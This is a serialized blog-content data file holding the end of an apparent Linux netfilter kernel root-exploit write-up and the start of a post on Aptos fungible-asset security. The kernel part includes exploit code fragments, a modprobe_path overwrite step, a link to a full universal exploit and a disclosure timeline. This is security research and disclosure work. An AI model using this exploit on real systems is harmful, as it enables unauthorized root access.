i",{"type":24,"tag":83,"props":60326,"children":60327},{"style":143},[60328],{"type":29,"value":50984},{"type":24,"tag":83,"props":60330,"children":60331},{"style":107},[60332],{"type":29,"value":2905},{"type":24,"tag":83,"props":60334,"children":60335},{"class":85,"line":23484},[60336],{"type":24,"tag":83,"props":60337,"children":60338},{"style":107},[60339],{"type":29,"value":31400},{"type":24,"tag":83,"props":60341,"children":60342},{"class":85,"line":23517},[60343,60347,60351,60356,60360,60365,60370,60374,60379,60383,60387,60392,60396,60400,60404],{"type":24,"tag":83,"props":60344,"children":60345},{"style":117},[60346],{"type":29,"value":58515},{"type":24,"tag":83,"props":60348,"children":60349},{"style":107},[60350],{"type":29,"value":223},{"type":24,"tag":83,"props":60352,"children":60353},{"style":101},[60354],{"type":29,"value":60355},"read",{"type":24,"tag":83,"props":60357,"children":60358},{"style":107},[60359],{"type":29,"value":558},{"type":24,"tag":83,"props":60361,"children":60362},{"style":137},[60363],{"type":29,"value":60364},"sock",{"type":24,"tag":83,"props":60366,"children":60367},{"style":107},[60368],{"type":29,"value":60369},"[i][",{"type":24,"tag":83,"props":60371,"children":60372},{"style":245},[60373],{"type":29,"value":3756},{"type":24,"tag":83,"props":60375,"children":60376},{"style":107},[60377],{"type":29,"value":60378},"], leak, ",{"type":24,"tag":83,"props":60380,"children":60381},{"style":245},[60382],{"type":29,"value":57862},{"type":24,"tag":83,"props":60384,"children":60385},{"style":143},[60386],{"type":29,"value":50970},{"type":24,"tag":83,"props":60388,"children":60389},{"style":245},[60390],{"type":29,"value":60391}," 320",{"type":24,"tag":83,"props":60393,"children":60394},{"style":107},[60395],{"type":29,"value":633},{"type":24,"tag":83,"props":60397,"children":60398},{"style":143},[60399],{"type":29,"value":5552},{"type":24,"tag":83,"props":60401,"children":60402},{"style":245},[60403],{"type":29,"value":248},{"type":24,"tag":83,"props":60405,"children":60406},{"style":107},[60407],{"type":29,"value":2905},{"type":24,"tag":83,"props":60409,"children":60410},{"class":85,"line":23525},[60411],{"type":24,"tag":83,"props":60412,"children":60413},{"style":107},[60414],{"type":29,"value":31436},{"type":24,"tag":83,"props":60416,"children":60417},{"class":85,"line":23533},[60418,60423,60427,60432],{"type":24,"tag":83,"props":60419,"children":60420},{"style":101},[60421],{"type":29,"value":60422},"                perror",{"type":24,"tag":83,"props":60424,"children":60425},{"style":107},[60426],{"type":29,"value":558},{"type":24,"tag":83,"props":60428,"children":60429},{"style":187},[60430],{"type":29,"value":60431},"\"[-] read(socket)\"",{"type":24,"tag":83,"props":60433,"children":60434},{"style":107},[60435],{"type":29,"value":581},{"type":24,"tag":83,"props":60437,"children":60438},{"class":85,"line":23570},[60439,60444,60448,60452],{"type":24,"tag":83,"props":60440,"children":60441},{"style":117},[60442],{"type":29,"value":60443},"                return",{"type":24,"tag":83,"props":60445,"children":60446},{"style":143},[60447],{"type":29,"value":50970},{"type":24,"tag":83,"props":60449,"children":60450},{"style":245},[60451],{"type":29,"value":3756},{"type":24,"tag":83,"props":60453,"children":60454},{"style":107},[60455],{"type":29,"value":321},{"type":24,"tag":83,"props":60457,"children":60458},{"class":85,"line":23583},[60459],{"type":24,"tag":83,"props":60460,"children":60461},{"style":107},[60462],{"type":29,"value":58599},{"type":24,"tag":83,"props":60464,"children":60465},{"class":85,"line":23596},[60466],{"type":24,"tag":83,"props":60467,"children":60468},{"style":107},[60469],{"type":29,"value":3092},{"type":24,"tag":83,"props":60471,"children":60472},{"class":85,"line":23609},[60473],{"type":24,"tag":83,"props":60474,"children":60475},{"style":107},[60476],{"type":29,"value":446},{"type":24,"tag":83,"props":60478,"children":60479},{"class":85,"line":23663},[60480,60484,60488,60493],{"type":24,"tag":83,"props":60481,"children":60482},{"style":101},[60483],{"type":29,"value":55220},{"type":24,"tag":83,"props":60485,"children":60486},{"style":107},[60487],{"type":29,"value":558},{"type":24,"tag":83,"props":60489,"children":60490},{"style":187},[60491],{"type":29,"value":60492},"\"[-] fake modprobe failed\"",{"type":24,"tag":83,"props":60494,"children":60495},{"style":107},[60496],{"type":29,"value":581},{"type":24,"tag":83,"props":60498,"children":60499},{"class":85,"line":23672},[60500],{"type":24,"tag":83,"props":60501,"children":60502},{"style":107},[60503],{"type":29,"value":10065},{"type":24,"tag":25,"props":60505,"children":60506},{},[60507,60509,60516],{"type":29,"value":60508},"This trick has already been throughly detailed by ",{"type":24,"tag":2033,"props":60510,"children":60513},{"href":60511,"rel":60512},"https://pwning.tech/nftables/#28-overwriting-modprobepath",[2037],[60514],{"type":29,"value":60515},"lau",{"type":29,"value":60517},", so we won't go much more into it.",{"type":24,"tag":1818,"props":60519,"children":60521},{"id":60520},"universal-exploit-demo",[60522],{"type":29,"value":60523},"Universal exploit demo",{"type":24,"tag":25,"props":60525,"children":60526},{},[60527,60529,60535],{"type":29,"value":60528},"{%youtube tjbp4Mtfo8w %}\nYou can find the complete universal exploit in our ",{"type":24,"tag":2033,"props":60530,"children":60533},{"href":60531,"rel":60532},"https://github.com/otter-sec/OtterRoot/blob/master/universal/exploit.c",[2037],[60534],{"type":29,"value":57129},{"type":29,"value":161},{"type":24,"tag":51,"props":60537,"children":60539},{"id":60538},"disclosure-timeline",[60540],{"type":29,"value":60541},"Disclosure Timeline",{"type":24,"tag":16422,"props":60543,"children":60544},{},[60545,60550,60555,60560,60565],{"type":24,"tag":67,"props":60546,"children":60547},{},[60548],{"type":29,"value":60549},"March 21st -- Patch made public",{"type":24,"tag":67,"props":60551,"children":60552},{},[60553],{"type":29,"value":60554},"March 23rd -- Scrolled through commits and found the bug fix.",{"type":24,"tag":67,"props":60556,"children":60557},{},[60558],{"type":29,"value":60559},"March 24th -- Wrote KernelCTF exploit",{"type":24,"tag":67,"props":60561,"children":60562},{},[60563],{"type":29,"value":60564},"March 26th -- Wrote Universal exploit",{"type":24,"tag":67,"props":60566,"children":60567},{},[60568],{"type":29,"value":60569},"May 23rd -- Patch landed on Ubuntu and Debian",{"type":24,"tag":25,"props":60571,"children":60572},{},[60573],{"type":29,"value":60574},"Note that the universal exploit was alive for roughly 2 months against popular distros.",{"type":24,"tag":51,"props":60576,"children":60577},{"id":28683},[60578],{"type":29,"value":18686},{"type":24,"tag":25,"props":60580,"children":60581},{},[60582],{"type":29,"value":60583},"In this post, I have discussed how a bug fixed by a commit freshly made public can be used to exploit the latest stable releases of the kernel and maintain 0day-like primitives for an extended period. I've also discussed two different paths to exploit the vulnerability: one that I used to exploit the KernelCTF instance and retrieve the flag and a second one that I used to craft a universal exploit binary that works stably in all tested targets without needing to be adapted or even recompiled.",{"type":24,"tag":25,"props":60585,"children":60586},{},[60587],{"type":29,"value":60588},"What we have observed is not novel; despite the efforts and progress made by the Linux community to improve kernel security, it's been made evident that the supply of exploitable bugs is still virtually unlimited and that the open-source patch gap is long enough to maintain capabilities that are live.",{"type":24,"tag":2584,"props":60590,"children":60591},{},[60592],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":60594},[60595,60598,60601,60604,60605,60615,60623,60624],{"id":50283,"depth":113,"text":50286,"children":60596},[60597],{"id":50303,"depth":128,"text":50306},{"id":50346,"depth":113,"text":50346,"children":60599},[60600],{"id":50393,"depth":128,"text":50396},{"id":50451,"depth":113,"text":50454,"children":60602},[60603],{"id":51613,"depth":128,"text":51616},{"id":53487,"depth":113,"text":53490},{"id":53889,"depth":113,"text":53892,"children":60606},[60607,60608,60609,60611,60612,60613,60614],{"id":53916,"depth":128,"text":53919},{"id":54798,"depth":128,"text":54801},{"id":55384,"depth":128,"text":60610},"Leaking self pointer of nft_object",{"id":55782,"depth":128,"text":55785},{"id":56296,"depth":128,"text":56299},{"id":56426,"depth":128,"text":56083},{"id":57110,"depth":128,"text":57113},{"id":57133,"depth":113,"text":57136,"children":60616},[60617,60618,60619,60620,60622],{"id":57144,"depth":128,"text":57147},{"id":58002,"depth":128,"text":58005},{"id":58078,"depth":128,"text":58081},{"id":59703,"depth":128,"text":60621},"Overwriting modprobe_path",{"id":60520,"depth":128,"text":60523},{"id":60538,"depth":113,"text":60541},{"id":28683,"depth":113,"text":18686},"content:blog:2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day.md","blog/2024-11-25-netfilter-universal-root-1-day",{"_path":60629,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":60630,"description":60631,"image":60632,"date":60634,"isFeatured":16,"onBlogPage":16,"tags":60635,"body":60636,"_type":2606,"_id":67353,"_source":2608,"_file":67354,"_stem":67355,"_extension":2611},"/blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets","Hitchhiker's Guide to Aptos Fungible Assets","We take a deep dive into Aptos’ implementation of fungible assets, exploring the intricacies hidden within its functions, objects, and interactions. While the Fungible Asset model was designed to address the limitations and security flaws of the legacy Coin standard, it also introduced new challenges and vulnerabilities that developers should be aware of.",{"src":60633,"width":5130,"height":5131},"/posts/aptos-guide/title.png","2025-02-10",[5625],{"type":21,"children":60637,"toc":67337},[60638,60651,60656,60665,60671,60699,60772,60812,60846,61007,61026,61107,61147,61175,61192,61197,61205,61210,61216,61237,61317,61350,61358,61371,61376,61760,61765,61770,61776,61781,61793,61897,61935,61938,61956,62264,62269,62281,62287,62313,62334,62339,62518,62538,62544,62564,62576,62581,62587,62599,62662,62689,62713,62934,62937,62956,63066,63123,63259,63286,63292,63318,63562,63590,63892,63925,63939,63965,63998,64304,64316,64593,64607,64924,64943,64949,64981,65021,65122,65142,65262,65279,65353,65365,65453,65474,65480,65485,65490,65507,65528,65899,65958,65963,66414,66419,66455,66461,66473,66495,66521,66728,66742,66997,67009,67036,67187,67206,67236,67240,67251,67256,67269,67333],{"type":24,"tag":25,"props":60639,"children":60640},{},[60641,60643,60649],{"type":29,"value":60642},"Aptos’ fungible asset model is a complex component of its ecosystem, designed to address the limitations of its predecessor — the ",{"type":24,"tag":32,"props":60644,"children":60646},{"className":60645},[],[60647],{"type":29,"value":60648},"coin",{"type":29,"value":60650}," standard. While the new model aims to enhance functionality and security, it also comes with its own set of challenges.",{"type":24,"tag":25,"props":60652,"children":60653},{},[60654],{"type":29,"value":60655},"In this blog post, we'll closely examine Aptos's coin and fungible asset models, exploring their history and connection. We will examine key aspects of the fungible asset framework, including real-world examples of vulnerabilities that were identified and addressed, with the goal of improving security and reliability — all to help you build more secure and reliable applications.",{"type":24,"tag":60657,"props":60658,"children":60659},"important",{},[60660],{"type":24,"tag":25,"props":60661,"children":60662},{},[60663],{"type":29,"value":60664},"All issues mentioned were identified and addressed during Aptos' rigorous pre-release audits, demonstrating the project's dedication to delivering a robust and secure environment from day one.",{"type":24,"tag":51,"props":60666,"children":60668},{"id":60667},"aptos-coin-standard",[60669],{"type":29,"value":60670},"Aptos Coin standard",{"type":24,"tag":25,"props":60672,"children":60673},{},[60674,60676,60682,60684,60689,60690,60697],{"type":29,"value":60675},"In the beginning, Aptos used ",{"type":24,"tag":32,"props":60677,"children":60679},{"className":60678},[],[60680],{"type":29,"value":60681},"Coin",{"type":29,"value":60683},". It is still in use, although it is now considered \"legacy\". ",{"type":24,"tag":32,"props":60685,"children":60687},{"className":60686},[],[60688],{"type":29,"value":60681},{"type":29,"value":5246},{"type":24,"tag":2033,"props":60691,"children":60694},{"href":60692,"rel":60693},"https://github.com/aptos-labs/aptos-core/blob/1381c93fd5a656f16fb326d4ffe371947554a330/aptos-move/framework/aptos-framework/sources/coin.move#L119-L123",[2037],[60695],{"type":29,"value":60696},"defined",{"type":29,"value":60698}," in Aptos as follows:",{"type":24,"tag":73,"props":60700,"children":60702},{"className":2725,"code":60701,"language":2724,"meta":7,"style":7},"struct Coin\u003Cphantom CoinType> has store {\n    value: u64,\n}\n",[60703],{"type":24,"tag":32,"props":60704,"children":60705},{"__ignoreMap":7},[60706,60745,60765],{"type":24,"tag":83,"props":60707,"children":60708},{"class":85,"line":86},[60709,60713,60717,60721,60725,60729,60733,60737,60741],{"type":24,"tag":83,"props":60710,"children":60711},{"style":90},[60712],{"type":29,"value":9148},{"type":24,"tag":83,"props":60714,"children":60715},{"style":3163},[60716],{"type":29,"value":5547},{"type":24,"tag":83,"props":60718,"children":60719},{"style":107},[60720],{"type":29,"value":5552},{"type":24,"tag":83,"props":60722,"children":60723},{"style":137},[60724],{"type":29,"value":5557},{"type":24,"tag":83,"props":60726,"children":60727},{"style":3163},[60728],{"type":29,"value":5562},{"type":24,"tag":83,"props":60730,"children":60731},{"style":107},[60732],{"type":29,"value":5567},{"type":24,"tag":83,"props":60734,"children":60735},{"style":137},[60736],{"type":29,"value":5572},{"type":24,"tag":83,"props":60738,"children":60739},{"style":137},[60740],{"type":29,"value":5577},{"type":24,"tag":83,"props":60742,"children":60743},{"style":107},[60744],{"type":29,"value":125},{"type":24,"tag":83,"props":60746,"children":60747},{"class":85,"line":113},[60748,60753,60757,60761],{"type":24,"tag":83,"props":60749,"children":60750},{"style":137},[60751],{"type":29,"value":60752},"    value",{"type":24,"tag":83,"props":60754,"children":60755},{"style":143},[60756],{"type":29,"value":195},{"type":24,"tag":83,"props":60758,"children":60759},{"style":3163},[60760],{"type":29,"value":5606},{"type":24,"tag":83,"props":60762,"children":60763},{"style":107},[60764],{"type":29,"value":989},{"type":24,"tag":83,"props":60766,"children":60767},{"class":85,"line":128},[60768],{"type":24,"tag":83,"props":60769,"children":60770},{"style":107},[60771],{"type":29,"value":464},{"type":24,"tag":25,"props":60773,"children":60774},{},[60775,60777,60782,60784,60790,60791,60797,60799,60804,60806,60811],{"type":29,"value":60776},"Aptos distinguishes coins by their type (",{"type":24,"tag":32,"props":60778,"children":60780},{"className":60779},[],[60781],{"type":29,"value":6330},{"type":29,"value":60783},") at compile time. For example, ",{"type":24,"tag":32,"props":60785,"children":60787},{"className":60786},[],[60788],{"type":29,"value":60789},"Coin\u003COtter>",{"type":29,"value":2287},{"type":24,"tag":32,"props":60792,"children":60794},{"className":60793},[],[60795],{"type":29,"value":60796},"Coin\u003CWeasel>",{"type":29,"value":60798}," represent different coins, and you cannot pass a ",{"type":24,"tag":32,"props":60800,"children":60802},{"className":60801},[],[60803],{"type":29,"value":60796},{"type":29,"value":60805}," to a function expecting ",{"type":24,"tag":32,"props":60807,"children":60809},{"className":60808},[],[60810],{"type":29,"value":60789},{"type":29,"value":161},{"type":24,"tag":25,"props":60813,"children":60814},{},[60815,60817,60822,60824,60829,60831,60836,60838,60844],{"type":29,"value":60816},"The type signature reveals why ",{"type":24,"tag":32,"props":60818,"children":60820},{"className":60819},[],[60821],{"type":29,"value":60681},{"type":29,"value":60823}," has become a legacy standard. ",{"type":24,"tag":32,"props":60825,"children":60827},{"className":60826},[],[60828],{"type":29,"value":60681},{"type":29,"value":60830}," has only the ",{"type":24,"tag":32,"props":60832,"children":60834},{"className":60833},[],[60835],{"type":29,"value":5686},{"type":29,"value":60837}," ability and uses a ",{"type":24,"tag":32,"props":60839,"children":60841},{"className":60840},[],[60842],{"type":29,"value":60843},"CoinStore",{"type":29,"value":60845}," wrapper to store the coin and metadata:",{"type":24,"tag":73,"props":60847,"children":60849},{"className":2725,"code":60848,"language":2724,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[60850],{"type":24,"tag":32,"props":60851,"children":60852},{"__ignoreMap":7},[60853,60893,60921,60941,60971,61000],{"type":24,"tag":83,"props":60854,"children":60855},{"class":85,"line":86},[60856,60860,60865,60869,60873,60877,60881,60885,60889],{"type":24,"tag":83,"props":60857,"children":60858},{"style":90},[60859],{"type":29,"value":9148},{"type":24,"tag":83,"props":60861,"children":60862},{"style":3163},[60863],{"type":29,"value":60864}," CoinStore",{"type":24,"tag":83,"props":60866,"children":60867},{"style":107},[60868],{"type":29,"value":5552},{"type":24,"tag":83,"props":60870,"children":60871},{"style":137},[60872],{"type":29,"value":5557},{"type":24,"tag":83,"props":60874,"children":60875},{"style":3163},[60876],{"type":29,"value":5562},{"type":24,"tag":83,"props":60878,"children":60879},{"style":107},[60880],{"type":29,"value":5567},{"type":24,"tag":83,"props":60882,"children":60883},{"style":137},[60884],{"type":29,"value":5572},{"type":24,"tag":83,"props":60886,"children":60887},{"style":137},[60888],{"type":29,"value":5677},{"type":24,"tag":83,"props":60890,"children":60891},{"style":107},[60892],{"type":29,"value":125},{"type":24,"tag":83,"props":60894,"children":60895},{"class":85,"line":113},[60896,60901,60905,60909,60913,60917],{"type":24,"tag":83,"props":60897,"children":60898},{"style":137},[60899],{"type":29,"value":60900},"    coin",{"type":24,"tag":83,"props":60902,"children":60903},{"style":143},[60904],{"type":29,"value":195},{"type":24,"tag":83,"props":60906,"children":60907},{"style":3163},[60908],{"type":29,"value":5547},{"type":24,"tag":83,"props":60910,"children":60911},{"style":107},[60912],{"type":29,"value":5552},{"type":24,"tag":83,"props":60914,"children":60915},{"style":3163},[60916],{"type":29,"value":6330},{"type":24,"tag":83,"props":60918,"children":60919},{"style":107},[60920],{"type":29,"value":5884},{"type":24,"tag":83,"props":60922,"children":60923},{"class":85,"line":128},[60924,60929,60933,60937],{"type":24,"tag":83,"props":60925,"children":60926},{"style":137},[60927],{"type":29,"value":60928},"    frozen",{"type":24,"tag":83,"props":60930,"children":60931},{"style":143},[60932],{"type":29,"value":195},{"type":24,"tag":83,"props":60934,"children":60935},{"style":3163},[60936],{"type":29,"value":11797},{"type":24,"tag":83,"props":60938,"children":60939},{"style":107},[60940],{"type":29,"value":989},{"type":24,"tag":83,"props":60942,"children":60943},{"class":85,"line":183},[60944,60949,60953,60958,60962,60967],{"type":24,"tag":83,"props":60945,"children":60946},{"style":137},[60947],{"type":29,"value":60948},"    deposit_events",{"type":24,"tag":83,"props":60950,"children":60951},{"style":143},[60952],{"type":29,"value":195},{"type":24,"tag":83,"props":60954,"children":60955},{"style":3163},[60956],{"type":29,"value":60957}," EventHandle",{"type":24,"tag":83,"props":60959,"children":60960},{"style":107},[60961],{"type":29,"value":5552},{"type":24,"tag":83,"props":60963,"children":60964},{"style":3163},[60965],{"type":29,"value":60966},"DepositEvent",{"type":24,"tag":83,"props":60968,"children":60969},{"style":107},[60970],{"type":29,"value":5884},{"type":24,"tag":83,"props":60972,"children":60973},{"class":85,"line":203},[60974,60979,60983,60987,60991,60996],{"type":24,"tag":83,"props":60975,"children":60976},{"style":137},[60977],{"type":29,"value":60978},"    withdraw_events",{"type":24,"tag":83,"props":60980,"children":60981},{"style":143},[60982],{"type":29,"value":195},{"type":24,"tag":83,"props":60984,"children":60985},{"style":3163},[60986],{"type":29,"value":60957},{"type":24,"tag":83,"props":60988,"children":60989},{"style":107},[60990],{"type":29,"value":5552},{"type":24,"tag":83,"props":60992,"children":60993},{"style":3163},[60994],{"type":29,"value":60995},"WithdrawEvent",{"type":24,"tag":83,"props":60997,"children":60998},{"style":107},[60999],{"type":29,"value":5884},{"type":24,"tag":83,"props":61001,"children":61002},{"class":85,"line":212},[61003],{"type":24,"tag":83,"props":61004,"children":61005},{"style":107},[61006],{"type":29,"value":464},{"type":24,"tag":25,"props":61008,"children":61009},{},[61010,61012,61017,61019,61024],{"type":29,"value":61011},"However, an astute reader would note that this isn't the only place a ",{"type":24,"tag":32,"props":61013,"children":61015},{"className":61014},[],[61016],{"type":29,"value":60681},{"type":29,"value":61018}," can be stored. You can create your own ",{"type":24,"tag":32,"props":61020,"children":61022},{"className":61021},[],[61023],{"type":29,"value":60681},{"type":29,"value":61025}," wallet, which could look like this:",{"type":24,"tag":73,"props":61027,"children":61029},{"className":2725,"code":61028,"language":2724,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[61030],{"type":24,"tag":32,"props":61031,"children":61032},{"__ignoreMap":7},[61033,61073,61100],{"type":24,"tag":83,"props":61034,"children":61035},{"class":85,"line":86},[61036,61040,61045,61049,61053,61057,61061,61065,61069],{"type":24,"tag":83,"props":61037,"children":61038},{"style":90},[61039],{"type":29,"value":9148},{"type":24,"tag":83,"props":61041,"children":61042},{"style":3163},[61043],{"type":29,"value":61044}," DefinitelyLegitCoinStore",{"type":24,"tag":83,"props":61046,"children":61047},{"style":107},[61048],{"type":29,"value":5552},{"type":24,"tag":83,"props":61050,"children":61051},{"style":137},[61052],{"type":29,"value":5557},{"type":24,"tag":83,"props":61054,"children":61055},{"style":3163},[61056],{"type":29,"value":5562},{"type":24,"tag":83,"props":61058,"children":61059},{"style":107},[61060],{"type":29,"value":5567},{"type":24,"tag":83,"props":61062,"children":61063},{"style":137},[61064],{"type":29,"value":5572},{"type":24,"tag":83,"props":61066,"children":61067},{"style":137},[61068],{"type":29,"value":5677},{"type":24,"tag":83,"props":61070,"children":61071},{"style":107},[61072],{"type":29,"value":125},{"type":24,"tag":83,"props":61074,"children":61075},{"class":85,"line":113},[61076,61080,61084,61088,61092,61096],{"type":24,"tag":83,"props":61077,"children":61078},{"style":137},[61079],{"type":29,"value":60900},{"type":24,"tag":83,"props":61081,"children":61082},{"style":143},[61083],{"type":29,"value":195},{"type":24,"tag":83,"props":61085,"children":61086},{"style":3163},[61087],{"type":29,"value":5547},{"type":24,"tag":83,"props":61089,"children":61090},{"style":107},[61091],{"type":29,"value":5552},{"type":24,"tag":83,"props":61093,"children":61094},{"style":3163},[61095],{"type":29,"value":6330},{"type":24,"tag":83,"props":61097,"children":61098},{"style":107},[61099],{"type":29,"value":5738},{"type":24,"tag":83,"props":61101,"children":61102},{"class":85,"line":128},[61103],{"type":24,"tag":83,"props":61104,"children":61105},{"style":107},[61106],{"type":29,"value":464},{"type":24,"tag":25,"props":61108,"children":61109},{},[61110,61115,61117,61123,61125,61130,61132,61138,61140,61145],{"type":24,"tag":32,"props":61111,"children":61113},{"className":61112},[],[61114],{"type":29,"value":60843},{"type":29,"value":61116}," includes a ",{"type":24,"tag":32,"props":61118,"children":61120},{"className":61119},[],[61121],{"type":29,"value":61122},"frozen",{"type":29,"value":61124}," field, allowing the issuer to block transfers to and from the store. ",{"type":24,"tag":32,"props":61126,"children":61128},{"className":61127},[],[61129],{"type":29,"value":60843},{"type":29,"value":61131}," is also required for a ",{"type":24,"tag":32,"props":61133,"children":61135},{"className":61134},[],[61136],{"type":29,"value":61137},"burn_from",{"type":29,"value":61139}," operation, which withdraws the ",{"type":24,"tag":32,"props":61141,"children":61143},{"className":61142},[],[61144],{"type":29,"value":60648},{"type":29,"value":61146}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":24,"tag":25,"props":61148,"children":61149},{},[61150,61152,61157,61159,61166,61168,61173],{"type":29,"value":61151},"Storing ",{"type":24,"tag":32,"props":61153,"children":61155},{"className":61154},[],[61156],{"type":29,"value":60648},{"type":29,"value":61158}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":24,"tag":2033,"props":61160,"children":61163},{"href":61161,"rel":61162},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[2037],[61164],{"type":29,"value":61165},"AIP-21",{"type":29,"value":61167}," summarizes the ",{"type":24,"tag":32,"props":61169,"children":61171},{"className":61170},[],[61172],{"type":29,"value":60648},{"type":29,"value":61174}," problems:",{"type":24,"tag":2677,"props":61176,"children":61177},{},[61178,61187],{"type":24,"tag":25,"props":61179,"children":61180},{},[61181,61185],{"type":24,"tag":83,"props":61182,"children":61183},{},[61184],{"type":29,"value":509},{"type":29,"value":61186}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":24,"tag":25,"props":61188,"children":61189},{},[61190],{"type":29,"value":61191},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":24,"tag":25,"props":61193,"children":61194},{},[61195],{"type":29,"value":61196},"And declares, that:",{"type":24,"tag":2677,"props":61198,"children":61199},{},[61200],{"type":24,"tag":25,"props":61201,"children":61202},{},[61203],{"type":29,"value":61204},"Fungible assets addresses these issues.",{"type":24,"tag":25,"props":61206,"children":61207},{},[61208],{"type":29,"value":61209},"Let's find out whether this is indeed the case.",{"type":24,"tag":51,"props":61211,"children":61213},{"id":61212},"the-fungible-assets",[61214],{"type":29,"value":61215},"The fungible assets",{"type":24,"tag":25,"props":61217,"children":61218},{},[61219,61221,61227,61229,61236],{"type":29,"value":61220},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":24,"tag":32,"props":61222,"children":61224},{"className":61223},[],[61225],{"type":29,"value":61226},"FungibleAsset",{"type":29,"value":61228}," uses the ",{"type":24,"tag":2033,"props":61230,"children":61233},{"href":61231,"rel":61232},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[2037],[61234],{"type":29,"value":61235},"hot-potato pattern",{"type":29,"value":195},{"type":24,"tag":73,"props":61238,"children":61240},{"className":2725,"code":61239,"language":2724,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[61241],{"type":24,"tag":32,"props":61242,"children":61243},{"__ignoreMap":7},[61244,61260,61290,61310],{"type":24,"tag":83,"props":61245,"children":61246},{"class":85,"line":86},[61247,61251,61256],{"type":24,"tag":83,"props":61248,"children":61249},{"style":90},[61250],{"type":29,"value":9148},{"type":24,"tag":83,"props":61252,"children":61253},{"style":3163},[61254],{"type":29,"value":61255}," FungibleAsset",{"type":24,"tag":83,"props":61257,"children":61258},{"style":107},[61259],{"type":29,"value":125},{"type":24,"tag":83,"props":61261,"children":61262},{"class":85,"line":113},[61263,61268,61272,61277,61281,61286],{"type":24,"tag":83,"props":61264,"children":61265},{"style":137},[61266],{"type":29,"value":61267},"    metadata",{"type":24,"tag":83,"props":61269,"children":61270},{"style":143},[61271],{"type":29,"value":195},{"type":24,"tag":83,"props":61273,"children":61274},{"style":3163},[61275],{"type":29,"value":61276}," Object",{"type":24,"tag":83,"props":61278,"children":61279},{"style":107},[61280],{"type":29,"value":5552},{"type":24,"tag":83,"props":61282,"children":61283},{"style":3163},[61284],{"type":29,"value":61285},"Metadata",{"type":24,"tag":83,"props":61287,"children":61288},{"style":107},[61289],{"type":29,"value":5884},{"type":24,"tag":83,"props":61291,"children":61292},{"class":85,"line":128},[61293,61298,61302,61306],{"type":24,"tag":83,"props":61294,"children":61295},{"style":137},[61296],{"type":29,"value":61297},"    amount",{"type":24,"tag":83,"props":61299,"children":61300},{"style":143},[61301],{"type":29,"value":195},{"type":24,"tag":83,"props":61303,"children":61304},{"style":3163},[61305],{"type":29,"value":5606},{"type":24,"tag":83,"props":61307,"children":61308},{"style":107},[61309],{"type":29,"value":989},{"type":24,"tag":83,"props":61311,"children":61312},{"class":85,"line":183},[61313],{"type":24,"tag":83,"props":61314,"children":61315},{"style":107},[61316],{"type":29,"value":464},{"type":24,"tag":25,"props":61318,"children":61319},{},[61320,61322,61327,61328,61333,61335,61340,61342,61349],{"type":29,"value":61321},"Unlike ",{"type":24,"tag":32,"props":61323,"children":61325},{"className":61324},[],[61326],{"type":29,"value":60681},{"type":29,"value":568},{"type":24,"tag":32,"props":61329,"children":61331},{"className":61330},[],[61332],{"type":29,"value":61226},{"type":29,"value":61334}," types are defined at runtime through the ",{"type":24,"tag":32,"props":61336,"children":61338},{"className":61337},[],[61339],{"type":29,"value":61285},{"type":29,"value":61341}," field. This change was meant to ",{"type":24,"tag":2033,"props":61343,"children":61346},{"href":61344,"rel":61345},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[2037],[61347],{"type":29,"value":61348},"enhance extensibility",{"type":29,"value":195},{"type":24,"tag":2677,"props":61351,"children":61352},{},[61353],{"type":24,"tag":25,"props":61354,"children":61355},{},[61356],{"type":29,"value":61357},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":24,"tag":25,"props":61359,"children":61360},{},[61361,61363,61369],{"type":29,"value":61362},"An important implication is that functions accepting ",{"type":24,"tag":32,"props":61364,"children":61366},{"className":61365},[],[61367],{"type":29,"value":61368},"FungibleAssets",{"type":29,"value":61370}," must verify the metadata to ensure valid assets.",{"type":24,"tag":25,"props":61372,"children":61373},{},[61374],{"type":29,"value":61375},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":24,"tag":73,"props":61377,"children":61379},{"className":2725,"code":61378,"language":2724,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[61380],{"type":24,"tag":32,"props":61381,"children":61382},{"__ignoreMap":7},[61383,61420,61458,61482,61494,61502,61547,61581,61611,61618,61655,61662,61700,61707,61753],{"type":24,"tag":83,"props":61384,"children":61385},{"class":85,"line":86},[61386,61391,61395,61400,61404,61408,61412,61416],{"type":24,"tag":83,"props":61387,"children":61388},{"style":137},[61389],{"type":29,"value":61390},"public",{"type":24,"tag":83,"props":61392,"children":61393},{"style":137},[61394],{"type":29,"value":5953},{"type":24,"tag":83,"props":61396,"children":61397},{"style":137},[61398],{"type":29,"value":61399}," 